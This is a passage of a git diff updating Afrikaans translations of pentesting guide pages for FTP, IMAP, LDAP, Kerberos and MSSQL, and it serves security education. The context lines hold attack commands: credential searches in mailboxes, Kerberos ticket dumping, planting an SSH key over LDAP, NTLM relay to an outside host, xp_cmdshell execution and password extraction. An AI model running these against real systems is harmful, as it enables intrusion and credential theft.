laai.](ftp-bounce-download-2oftp-file.md) -## Filezilla Bediener Kwetsbaarheid +## Filezilla Bediener Kwesbaarheid -**FileZilla** bind gewoonlik aan **lokale** 'n **Administratiewe diens** vir die **FileZilla-Server** (poort 14147). As jy 'n **tunnel** van **jou masjien** kan skep om toegang tot hierdie poort te verkry, kan jy **verbinde** met **dit** met 'n **leë wagwoord** en 'n **nuwe gebruiker** vir die FTP-diens **skep**. +**FileZilla** bind gewoonlik **lokale** aan 'n **Administratiewe diens** vir die **FileZilla-Server** (poort 14147). As jy 'n **tunnel** van **jou masjien** kan skep om toegang tot hierdie poort te verkry, kan jy **verbinde** met **dit** met 'n **leë wagwoord** en **'n nuwe gebruiker** vir die FTP-diens **skep**. ## Konfig-lêers ``` @@ -191,11 +191,11 @@ Die standaardkonfigurasie van vsFTPd kan gevind word in `/etc/vsftpd.conf`. Hier - `anonymous_enable=YES` - `anon_upload_enable=YES` - `anon_mkdir_write_enable=YES` -- `anon_root=/home/username/ftp` - Gids vir anonieme. +- `anon_root=/home/username/ftp` - Gids vir anonieme gebruikers. - `chown_uploads=YES` - Verander eienaarskap van anoniem opgelaaide lêers - `chown_username=username` - Gebruiker wat eienaarskap van anoniem opgelaaide lêers ontvang -- `local_enable=YES` - Aktiveer plaaslike gebruikers om in te log -- `no_anon_password=YES` - Moet nie anonieme vra vir wagwoord nie +- `local_enable=YES` - Stel plaaslike gebruikers in staat om aan te meld +- `no_anon_password=YES` - Vra nie anonieme gebruikers vir 'n wagwoord nie - `write_enable=YES` - Laat opdragte toe: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, en SITE ### Shodan diff --git a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md index 6793dbda5..623133501 100644 --- a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md +++ b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md @@ -6,8 +6,8 @@ As jy toegang het tot 'n bounce FTP-bediener, kan jy dit laat versoek om lêers ## Vereistes -- Geldige FTP akrediteerbare inligting in die FTP Middelbediener -- Geldige FTP akrediteerbare inligting in die Slachtoffer FTP-bediener +- Geldige FTP-akrediteerbare inligting in die FTP Middelbediener +- Geldige FTP-akrediteerbare inligting in die Slachtoffer FTP-bediener - Beide bedieners aanvaar die PORT-opdrag \(bounce FTP-aanval\) - Jy kan binne 'n gids van die FRP Middelbediener skryf - Die middelbediener sal om een of ander rede meer toegang tot die Slachtoffer FTP-bediener hê as jy \(dit is wat jy gaan benut\) diff --git a/src/network-services-pentesting/pentesting-imap.md b/src/network-services-pentesting/pentesting-imap.md index ffc98ee0b..b2a416dee 100644 --- a/src/network-services-pentesting/pentesting-imap.md +++ b/src/network-services-pentesting/pentesting-imap.md @@ -97,17 +97,17 @@ Basiese navigasie is moontlik met [CURL](https://ec.haxx.se/usingcurl/usingcurl- ```bash curl -k 'imaps://1.2.3.4/' --user user:pass ``` -2. Lys boodskappe in 'n posbus (imap opdrag `SELECT INBOX` en dan `SEARCH ALL`) +2. Lys van boodskappe in 'n posbus (imap opdrag `SELECT INBOX` en dan `SEARCH ALL`) ```bash curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass ``` Die resultaat van hierdie soektog is 'n lys van boodskapindekse. -Dit is ook moontlik om meer komplekse soekterme te verskaf. Byvoorbeeld, om te soek na konsepte met wagwoord in die e-posliggaam: +Dit is ook moontlik om meer komplekse soekterme te verskaf. bv. om te soek na konsepte met wagwoord in die e-posliggaam: ```bash curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass ``` -'n Mooi oorsig van die soekterme wat moontlik is, is [hier](https://www.atmail.com/blog/imap-commands/) geleë. +'n Goeie oorsig van die soekterme wat moontlik is, is [hier](https://www.atmail.com/blog/imap-commands/) geleë. 3. Laai 'n boodskap af (imap opdrag `SELECT Drafts` en dan `FETCH 1 BODY[]`) ```bash @@ -120,7 +120,7 @@ Dit is ook moontlik om `UID` (unieke id) te gebruik om boodskappe te bekom, maar curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass ``` -Ook moontlik om net dele van 'n boodskap af te laai, bv. onderwerp en afsender van die eerste 5 boodskappe (die `-v` is vereis om die onderwerp en afsender te sien): +Ook moontlik om net dele van 'n boodskap af te laai, byvoorbeeld onderwerp en afsender van die eerste 5 boodskappe (die `-v` is vereis om die onderwerp en afsender te sien): ```bash $ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<' ``` diff --git a/src/network-services-pentesting/pentesting-irc.md b/src/network-services-pentesting/pentesting-irc.md index 244a039e4..491ead157 100644 --- a/src/network-services-pentesting/pentesting-irc.md +++ b/src/network-services-pentesting/pentesting-irc.md @@ -8,7 +8,7 @@ IRC, aanvanklik 'n **plain text protocol**, is aan **194/TCP** toegeken deur IAN 'n **Bynaam** is alles wat nodig is om met 'n bediener te verbind. Na verbinding voer die bediener 'n omgekeerde DNS-soektog op die gebruiker se IP uit. -Gebruikers word verdeel in **operateurs**, wat 'n **gebruikersnaam** en **wagwoord** benodig vir meer toegang, en gewone **gebruikers**. Operateurs het verskillende vlakke van bevoegdhede, met administrateurs aan die bokant. +Gebruikers word verdeel in **operateurs**, wat 'n **gebruikersnaam** en **wagwoord** benodig vir meer toegang, en gewone **gebruikers**. Operateurs het verskillende vlakke van bevoegdhede, met administrateurs aan die top. **Standaard poorte:** 194, 6667, 6660-7000 ``` @@ -61,7 +61,7 @@ PASS wealllikedebian NICK patrick USER test1 test2 :test3 ``` -### **Vind en skandeer IRC-dienste** +### **Vind en skandeer IRC dienste** ```bash nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,6660-7000 ``` diff --git a/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md b/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md index 678bee453..1f5d3d86d 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md @@ -1,8 +1,8 @@ {{#include ../../banners/hacktricks-training.md}} -### Kredensiaal Berging in Linux +### Kredensiaalberging in Linux -Linux stelsels stoor kredensiale in drie tipes kaste, naamlik **Lêers** (in die `/tmp` gids), **Kernel Sleutels** (n spesiale segment in die Linux-kern), en **Proses Geheue** (vir enkel-proses gebruik). Die **default_ccache_name** veranderlike in `/etc/krb5.conf` onthul die bergingstipe wat gebruik word, wat standaard op `FILE:/tmp/krb5cc_%{uid}` val as dit nie gespesifiseer is nie. +Linux-stelsels stoor kredensiale in drie tipes kas, naamlik **Lêers** (in die `/tmp` gids), **Kernel Sleutels** (n spesiale segment in die Linux-kern), en **Prosesgeheue** (vir enkel-proses gebruik). Die **default_ccache_name** veranderlike in `/etc/krb5.conf` onthul die tipe berging wat gebruik word, wat standaard op `FILE:/tmp/krb5cc_%{uid}` is as dit nie gespesifiseer is nie. ### Uittreksel van Kredensiale @@ -10,7 +10,7 @@ Die 2017 artikel, [**Kerberos Kredensiaal Diefstal (GNU/Linux)**](https://www.de #### Sleutel Uittreksel Oorsig -Die **keyctl stelselsoproep**, bekendgestel in kern weergawe 2.6.10, laat gebruikersruimte toepassings toe om met kern sleutels te kommunikeer. Kredensiale in sleutels word gestoor as komponente (standaard prinsiep en kredensiale), wat verskillend is van lêer kaste wat ook 'n kop bevat. Die **hercules.sh skrip** uit die artikel demonstreer die onttrekking en heropbou van hierdie komponente in 'n bruikbare lêer kaste vir kredensiaal diefstal. +Die **keyctl stelselskakel**, bekendgestel in kern weergawe 2.6.10, laat gebruikersruimte toepassings toe om met kernsleutels te kommunikeer. Kredensiale in sleutels word gestoor as komponente (standaard prinsiep en kredensiale), wat verskillend is van lêer kas wat ook 'n kopstuk insluit. Die **hercules.sh skrip** uit die artikel demonstreer die onttrekking en heropbou van hierdie komponente in 'n bruikbare lêer kas vir kredensiaal diefstal. #### Teken Uittrek Gereedskap: Tickey diff --git a/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md b/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md index bbbb12d77..c505ee60f 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md @@ -13,7 +13,7 @@ sekurlsa::tickets /export ``` ### Rubeus -Rubeus is 'n hulpmiddel spesifiek ontwerp vir Kerberos-interaksie en -manipulasie. Dit word gebruik vir kaartjie-uitkapping en -hantering, sowel as ander Kerberos-verwante aktiwiteite. +Rubeus is 'n hulpmiddel spesifiek ontwerp vir Kerberos-interaksie en -manipulasie. Dit word gebruik vir kaartjie-ekstraksie en -hantering, sowel as ander Kerberos-verwante aktiwiteite. ```bash # Dumping all tickets using Rubeus .\Rubeus dump diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index 7b157c716..b74f7e08b 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -2,11 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -Die gebruik van **LDAP** (Lightweight Directory Access Protocol) is hoofsaaklik vir die opsporing van verskeie entiteite soos organisasies, individue en hulpbronne soos lêers en toestelle binne netwerke, beide publiek en privaat. Dit bied 'n gestroomlynde benadering in vergelyking met sy voorganger, DAP, deur 'n kleiner kodevoetspoor te hê. +Die gebruik van **LDAP** (Lightweight Directory Access Protocol) is hoofsaaklik vir die opsporing van verskeie entiteite soos organisasies, individue, en hulpbronne soos lêers en toestelle binne netwerke, beide publiek en privaat. Dit bied 'n gestroomlynde benadering in vergelyking met sy voorganger, DAP, deur 'n kleiner kodevoetspoor te hê. LDAP-gidse is gestruktureer om hul verspreiding oor verskeie bedieners toe te laat, met elke bediener wat 'n **geïmpliseerde** en **gesinkroniseerde** weergawe van die gids huisves, bekend as 'n Directory System Agent (DSA). Die verantwoordelikheid vir die hantering van versoeke lê heeltemal by die LDAP-bediener, wat met ander DSA's kan kommunikeer soos nodig om 'n verenigde antwoord aan die versoeker te lewer. -Die organisasie van die LDAP-gids herinner aan 'n **boomhiërargie, wat met die wortelgids aan die bokant begin**. Dit takke af na lande, wat verder verdeel in organisasies, en dan na organisatoriese eenhede wat verskillende afdelings of departemente verteenwoordig, en uiteindelik die individuele entiteite vlak bereik, insluitend beide mense en gedeelde hulpbronne soos lêers en drukkers. +Die organisasie van die LDAP-gids herinner aan 'n **boomhiërargie, wat met die wortelgids aan die bokant begin**. Dit takke af na lande, wat verder verdeel in organisasies, en dan na organisatoriese eenhede wat verskillende afdelings of departemente verteenwoordig, en uiteindelik die vlak van individuele entiteite bereik, insluitend beide mense en gedeelde hulpbronne soos lêers en drukkers. **Standaardpoort:** 389 en 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is standaard beskikbaar op poorte 3268, en 3269 vir LDAPS. ``` @@ -64,25 +64,25 @@ True u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' >>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]}) ``` -## Sniff clear text credentials +## Sniff duidelike teks geloofsbriewe -As LDAP sonder SSL gebruik word, kan jy **credentials in plain text** in die netwerk **sniff**. +As LDAP sonder SSL gebruik word, kan jy **geloofsbriewe in gewone teks** in die netwerk **sniff**. -Ook, jy kan 'n **MITM** aanval in die netwerk **tussen die LDAP bediener en die kliënt** uitvoer. Hier kan jy 'n **Downgrade Attack** maak sodat die kliënt die **credentials in clear text** gebruik om aan te meld. +Ook kan jy 'n **MITM** aanval in die netwerk **tussen die LDAP bediener en die kliënt** uitvoer. Hier kan jy 'n **Downgrade Aanval** maak sodat die kliënt die **geloofsbriewe in duidelike teks** gebruik om aan te meld. -**As SSL gebruik word** kan jy probeer om **MITM** te maak soos hierbo genoem, maar deur 'n **valse sertifikaat** aan te bied; as die **gebruiker dit aanvaar**, kan jy die verifikasietegniek verlaag en die credentials weer sien. +**As SSL gebruik word**, kan jy probeer om **MITM** te maak soos hierbo genoem, maar deur 'n **valse sertifikaat** aan te bied. As die **gebruiker dit aanvaar**, kan jy die verifikasietegniek verlaag en die geloofsbriewe weer sien. -## Anonymous Access +## Anonieme Toegang -### Bypass TLS SNI check +### Bypass TLS SNI kontrole -Volgens [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) net deur die LDAP bediener met 'n arbitrêre domeinnaam (soos company.com) te benader, kon hy die LDAP diens kontak en inligting as 'n anonieme gebruiker onttrek: +Volgens [**hierdie skrywe**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) kon hy net deur die LDAP bediener met 'n arbitrêre domeinnaam (soos company.com) te benader, die LDAP diens kontak en inligting as 'n anonieme gebruiker onttrek: ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ``` ### LDAP anonieme bindings -[LDAP anonieme bindings](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) laat **onaangetekende aanvallers** toe om inligting van die domein te verkry, soos 'n volledige lys van gebruikers, groepe, rekenaars, gebruikersrekening eienskappe, en die domein wagwoordbeleid. Dit is 'n **erfconfigurasie**, en vanaf Windows Server 2003, mag slegs geverifieerde gebruikers LDAP versoeke inisieer.\ +[LDAP anonieme bindings](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) laat **onaangetekende aanvallers** toe om inligting van die domein te verkry, soos 'n volledige lys van gebruikers, groepe, rekenaars, gebruikersrekeningkenmerke, en die domein wagwoordbeleid. Dit is 'n **erfconfigurasie**, en vanaf Windows Server 2003, mag slegs geverifieerde gebruikers LDAP versoeke inisieer.\ Tog mag admins nodig gehad het om **'n spesifieke toepassing op te stel om anonieme bindings toe te laat** en meer toegang gegee het as wat bedoel was, wat onaangetekende gebruikers toegang tot alle voorwerpe in AD gee. ## Geldige Kredensiële @@ -100,7 +100,7 @@ ldapdomaindump [-r ] -u '\' -p '' [--authty ### Geoutomatiseerd -Deur dit te gebruik, sal jy in staat wees om die **openbare inligting** (soos die domeinnaam)**:** +Deur dit te gebruik, sal jy in staat wees om die **publieke inligting** (soos die domeinnaam)**:** ```bash nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials ``` @@ -108,9 +108,9 @@ nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials
-Bekijk LDAP-opname met python +Bekijk LDAP enumerasie met python -Jy kan probeer om **'n LDAP te enumerate met of sonder geloofsbriewe met python**: `pip3 install ldap3` +Jy kan probeer om **'n LDAP te enumereer met of sonder geloofsbriewe met python**: `pip3 install ldap3` Probeer eers om **sonder** geloofsbriewe te **verbinde**: ```bash @@ -145,7 +145,7 @@ True ### windapsearch -[**Windapsearch**](https://github.com/ropnop/windapsearch) is 'n Python-skrip wat nuttig is om **gebruikers, groepe en rekenaars uit 'n Windows** domein te **enumerate** deur gebruik te maak van LDAP-vrae. +[**Windapsearch**](https://github.com/ropnop/windapsearch) is 'n Python-skrip wat nuttig is om **gebruikers, groepe en rekenaars uit 'n Windows** domein te evalueer deur gebruik te maak van LDAP-navrae. ```bash # Get computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers @@ -173,7 +173,7 @@ result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v3839 ``` -As jy iets vind wat sê dat die "_bind moet voltooi word_" beteken dat die akrediteerbesonderhede verkeerd is. +As jy iets vind wat sê dat die "_bind moet voltooi word_" beteken dit dat die akrediteerbesonderhede verkeerd is. Jy kan **alles van 'n domein** onttrek met: ```bash @@ -205,7 +205,7 @@ Onttrek **Domein gebruikers**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -Onttrek **Enterprise Admins**: +Haal **Enterprise Admins** uit: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` @@ -286,11 +286,11 @@ Standaard is dit geïnstalleer in: _/opt/jxplorer_ ### Godap -Godap is 'n interaktiewe terminale gebruikerskoppelvlak vir LDAP wat gebruik kan word om met objekke en eienskappe in AD en ander LDAP-bedieners te kommunikeer. Dit is beskikbaar vir Windows, Linux en MacOS en ondersteun eenvoudige bindings, pass-the-hash, pass-the-ticket & pass-the-cert, saam met verskeie ander gespesialiseerde funksies soos soek/maak/wysig/verwyder objekke, voeg/verwyder gebruikers uit groepe, verander wagwoorde, redigeer objektoestemmings (DACLs), wysig Active-Directory Geïntegreerde DNS (ADIDNS), uitvoer na JSON-lêers, ens. +Godap is 'n interaktiewe terminale gebruikerskoppelvlak vir LDAP wat gebruik kan word om met objekke en eienskappe in AD en ander LDAP-bedieners te kommunikeer. Dit is beskikbaar vir Windows, Linux en MacOS en ondersteun eenvoudige bindings, pass-the-hash, pass-the-ticket & pass-the-cert, saam met verskeie ander gespesialiseerde funksies soos soek/maak/wysig/verwyder objekke, voeg/verwyder gebruikers uit groepe, verander wagwoorde, redigeer objektoestemmings (DACLs), wysig Aktiewe Katalogus Geïntegreerde DNS (ADIDNS), uitvoer na JSON-lêers, ens. ![](../images/godap.png) -Jy kan dit toegang in [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Vir gebruiksvoorbeelde en instruksies, lees die [Wiki](https://github.com/Macmod/godap/wiki). +Jy kan dit toegang verkry in [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Vir gebruiksvoorbeelde en instruksies lees die [Wiki](https://github.com/Macmod/godap/wiki). ### Ldapx @@ -306,7 +306,7 @@ Met `ldapsearch` kan jy **verifieer** teen **kerberos in plaas van** via **NTLM* ## POST -As jy toegang kan kry tot die lêers waar die databasisse bevat is (kan wees in _/var/lib/ldap_). Jy kan die hashes onttrek met: +As jy toegang kan verkry tot die lêers waar die databasisse bevat is (kan wees in _/var/lib/ldap_). Jy kan die hashes onttrek met: ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` diff --git a/src/network-services-pentesting/pentesting-modbus.md b/src/network-services-pentesting/pentesting-modbus.md index c7bd174d3..a4c0ee06a 100644 --- a/src/network-services-pentesting/pentesting-modbus.md +++ b/src/network-services-pentesting/pentesting-modbus.md @@ -3,7 +3,7 @@ # Basiese Inligting -In 1979 is die **Modbus Protokol** deur Modicon ontwikkel, wat as 'n boodskapstruktuur dien. Die primêre gebruik daarvan behels die fasilitering van kommunikasie tussen intelligente toestelle, wat onder 'n meester-slaaf/klient-bediener model werk. Hierdie protokol speel 'n belangrike rol in die moontlikmaking van toestelle om data doeltreffend uit te ruil. +In 1979 is die **Modbus Protocol** deur Modicon ontwikkel, wat as 'n boodskapstruktuur dien. Die primêre gebruik daarvan behels die fasilitering van kommunikasie tussen intelligente toestelle, wat onder 'n meester-slaaf/kliënt-bediener model werk. Hierdie protokol speel 'n belangrike rol in die moontlikmaking van toestelle om data doeltreffend uit te ruil. **Standaard poort:** 502 ``` diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 9488590d9..adb9ff7ff 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -6,7 +6,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): -> **Microsoft SQL Server** is 'n **relationele databasis** bestuurstelsel wat deur Microsoft ontwikkel is. As 'n databasisbediener is dit 'n sagtewareproduk met die primêre funksie om data te stoor en te onttrek soos versoek deur ander sagtewaretoepassings—wat op dieselfde rekenaar of op 'n ander rekenaar oor 'n netwerk (insluitend die Internet) kan loop.\\ +> **Microsoft SQL Server** is 'n **relationele databasis** bestuurstelsel ontwikkel deur Microsoft. As 'n databasisbediener is dit 'n sagtewareproduk met die primêre funksie om data te stoor en op te haal soos versoek deur ander sagtewaretoepassings—wat op dieselfde rekenaar of op 'n ander rekenaar oor 'n netwerk (insluitend die Internet) kan loop.\\ **Standaard poort:** 1433 ``` @@ -159,7 +159,7 @@ SELECT * FROM sysusers - **Bediener** – Voorbeelde sluit databasisse, aanmeldings, eindpunte, beskikbaarheidsgroepe, en bediener rolle in. - **Databasis** – Voorbeelde sluit databasis rolle, toepassingsrolle, skemas, sertifikate, volle teks katalogusse, en gebruikers in. - **Skema** – Sluit tabelle, weergawes, prosedures, funksies, sinonieme, ens. in. -2. **Toestemming:** Geassosieer met SQL Server securables, toestemmings soos ALTER, CONTROL, en CREATE kan aan 'n prinsiep toegeken word. Bestuur van toestemmings vind op twee vlakke plaas: +2. **Toestemming:** Geassosieer met SQL Server securables, kan toestemmings soos ALTER, CONTROL, en CREATE aan 'n prinsiep toegeken word. Bestuur van toestemmings vind op twee vlakke plaas: - **Bediener Vlak** met behulp van aanmeldings - **Databasis Vlak** met behulp van gebruikers 3. **Prinsiep:** Hierdie term verwys na die entiteit wat toestemming ontvang om 'n securable te gebruik. Prinsipes sluit hoofsaaklik aanmeldings en databasis gebruikers in. Die beheer oor toegang tot securables word uitgeoefen deur die toekenning of weiering van toestemmings of deur aanmeldings en gebruikers in rolle met toegangregte in te sluit. @@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell' ### Voer OS Opdragte Uit > [!CAUTION] -> Let daarop dat dit nie net nodig is om **`xp_cmdshell`** **geaktiveer** te hê om opdragte uit te voer nie, maar ook om die **EXECUTE toestemming op die `xp_cmdshell` gestoor prosedure** te hê. Jy kan uitvind wie (behalwe sysadmins) **`xp_cmdshell`** kan gebruik met: +> Let daarop dat dit nie net nodig is om **`xp_cmdshell`** **geaktiveer** te hê om opdragte uit te voer nie, maar ook om die **EXECUTE toestemming op die `xp_cmdshell` gestoor prosedure** te hê. Jy kan sien wie (behalwe sysadmins) **`xp_cmdshell`** kan gebruik met: > > ```sql > Use master @@ -260,7 +260,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2- mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250 ``` > [!WARNING] -> Jy kan kyk of wie (behalwe sysadmins) toestemming het om daardie MSSQL funksies te loop met: +> Jy kan kyk of wie (behalwe sysadmins) toestemming het om daardie MSSQL funksies uit te voer met: > > ```sql > Use master; @@ -286,7 +286,7 @@ Jy kan sien hoe om hierdie gereedskap te gebruik in: ### **Skryf Lêers** -Om lêers te skryf met `MSSQL`, moet ons **Ole Automation Procedures** [**aktiveer**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), wat admin regte vereis, en dan 'n paar gestoor prosedures uitvoer om die lêer te skep: +Om lêers te skryf met `MSSQL`, moet ons **Ole Automation Procedures** [**inskakel**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), wat admin regte vereis, en dan 'n paar gestoor prosedures uitvoer om die lêer te skep: ```bash # Enable Ole Automation Procedures sp_configure 'show advanced options', 1 @@ -306,7 +306,7 @@ EXECUTE sp_OADestroy @OLE ``` ### **Lees lêer met** OPENROWSET -Standaard laat `MSSQL` lêer **lees op enige lêer in die bedryfstelsel waartoe die rekening lees toegang het**. Ons kan die volgende SQL-navraag gebruik: +Standaard laat `MSSQL` lêer **lees op enige lêer in die bedryfstelsel waartoe die rekening leestoegang het**. Ons kan die volgende SQL-navraag gebruik: ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` @@ -343,7 +343,7 @@ GO ``` ### Lees Register -Microsoft SQL Server bied **meervoudige uitgebreide gestoor prosedures** wat jou toelaat om nie net met die netwerk nie, maar ook met die lêerstelsel en selfs die [**Windows Register**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** +Microsoft SQL Server bied **meervoudige uitgebreide gestoor prosedures** wat jou toelaat om nie net met die netwerk te kommunikeer nie, maar ook met die lêerstelsel en selfs die [**Windows Register**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** | **Regulier** | **Instansie-Bewus** | | --------------------------- | ------------------------------------ | @@ -438,7 +438,7 @@ Daar is ander metodes om opdraguitvoering te verkry, soos om [uitgebreide gestoo ### Van db_owner na sysadmin -As 'n **gewone gebruiker** die rol **`db_owner`** oor die **databasis besit deur 'n admin** gebruiker (soos **`sa`**) ontvang en daardie databasis as **`trustworthy`** geconfigureer is, kan daardie gebruiker hierdie voorregte misbruik om **privesc** te verkry omdat **gestoor prosedures** wat daar geskep is, as die eienaar (**admin**) kan **uitvoer**. +As 'n **gewone gebruiker** die rol **`db_owner`** oor die **databasis besit deur 'n admin** gebruiker (soos **`sa`**) ontvang en daardie databasis as **`trustworthy`** geconfigureer is, kan daardie gebruiker hierdie voorregte misbruik om **privesc** te verkry omdat **gestoor prosedures** wat daarin geskep is, as die eienaar (**admin**) kan **uitvoer**. ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -482,7 +482,7 @@ Of 'n **PS** skrip: Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184 ``` -### Vervalsing van ander gebruikers +### Verpersoonliking van ander gebruikers SQL Server het 'n spesiale toestemming, genaamd **`IMPERSONATE`**, wat **die uitvoerende gebruiker toelaat om die toestemmings van 'n ander gebruiker** of aanmelding aan te neem totdat die konteks gereset word of die sessie eindig. ```sql @@ -529,25 +529,29 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse ``` ## Gebruik van MSSQL vir Volharding -## Uittreksel van wagwoorde uit SQL Server Gekoppelde Bedieners +[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) -'n Aanvaller kan SQL Server Gekoppelde Bedieners wagwoorde uit die SQL Instansies uittrek en dit in duidelike teks verkry, wat die aanvaller wagwoorde gee wat gebruik kan word om 'n groter voet aan die grond op die teiken te verkry. Die skrip om die wagwoorde wat vir die Gekoppelde Bedieners gestoor is, uit te trek en te ontsleutel, kan [hier gevind word](https://www.richardswinbank.net/admin/extract_linked_server_passwords). +## Uittreksel van wagwoorde uit SQL Server Linked Servers + +'n Aanvaller kan SQL Server Linked Servers wagwoorde uit die SQL Instansies uittrek en dit in duidelike teks verkry, wat die aanvaller wagwoorde gee wat gebruik kan word om 'n groter voet aan die teiken te verkry. Die skrip om die wagwoorde wat vir die Linked Servers gestoor is, uit te trek en te ontsleutel, kan [hier](https://www.richardswinbank.net/admin/extract_linked_server_passwords) gevind word. Sommige vereistes en konfigurasies moet gedoen word sodat hierdie ontploffing kan werk. Eerstens moet jy Administrateurregte op die masjien hê, of die vermoë om die SQL Server Konfigurasies te bestuur. Na validasie van jou toestemmings, moet jy drie dinge konfigureer, wat die volgende is: 1. Aktiveer TCP/IP op die SQL Server instansies; -2. Voeg 'n Beginparameter by, in hierdie geval, 'n spoorsnyer vlag sal bygevoeg word, wat -T7806 is. -3. Aktiveer afstandsadministrateurverbinding. +2. Voeg 'n Beginparameter by, in hierdie geval, 'n trace flag sal bygevoeg word, wat -T7806 is. +3. Aktiveer afstandsadminverbinding. Om hierdie konfigurasies te outomatiseer, het [hierdie berging](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die nodige skripte. Benewens 'n powershell-skrip vir elke stap van die konfigurasie, het die berging ook 'n volledige skrip wat die konfigurasieskripte en die uittreksel en ontsleuteling van die wagwoorde kombineer. -Vir verdere inligting, verwys na die volgende skakels rakende hierdie aanval: [Ontsleuteling van MSSQL Databasis Koppelbediener Wagwoorde](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) +Vir verdere inligting, verwys na die volgende skakels rakende hierdie aanval: [Ontsleuteling van MSSQL Databasis Link Server 